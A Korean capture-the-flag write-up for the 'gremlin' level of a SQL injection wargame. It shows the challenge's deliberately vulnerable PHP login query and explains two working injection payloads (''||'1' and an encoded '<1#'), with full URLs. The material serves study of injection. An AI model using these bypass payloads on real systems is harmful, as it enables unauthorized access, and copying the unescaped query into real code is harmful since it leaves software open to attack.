<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
위 소스 코드에서 중요한 부분은 5번째 줄부터이다.
$_GET[id]와 $_GET[pw]로 인해 get 방식으로 파라미터를 입력받는 것을 알 수 있다.
preg_match로 인해 get 방식으로 입력받은 파라미터에 해당하는 값 /prob , _, \이 발견되면 No Hack ~_~을 출력하고 코드에서 나가게 된다.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
그리고 위 구문은 해당하는 데이터가 DB에 존재 시 최상단에 있는 데이터 1줄을 가져오는 함수이다.
풀이는 여러 가지 방법이 있지만, 이 문제는 2가지 방법으로 해결할 것이다.
sql injection의 기본은 0 or 1 = 1 상태로 만들어서 계정 정보를 가져오는 것이 목표다.
or와 and연산에서는 and 연산이 우선 연산 되기 때문에 '로 pw를 바로 닫아주면 앞에 0은 해결이 된다. 그리고 추가적인 필터링이 없으므로 바로 or 1에 해당하는 ||'1를 넣어주면 나머지 조건도 해결이 되므로 문제가 풀린다.
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?pw=%27||%271
이 방식은 그냥 파라미터 길이를 극한으로 줄이다 보니 나온 이상한 방법 중에 한 개이다. (그냥 딱 기록용)
id=''인 계정이 DB에 없기 때문에 id=0는 False즉 0이라는 값을 가진다. 그리고 주석처리는 #로 가능하기 때문에
?id='<1#을 하면 0<1 조건을 만족하므로 쿼리문은 참이 된다.
여기서 #를 URI에 직접 입력하면 인식이 안 될 것이다. URL 인코딩에 대하여 알아보면 해결될 것이다.
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27%3C1%23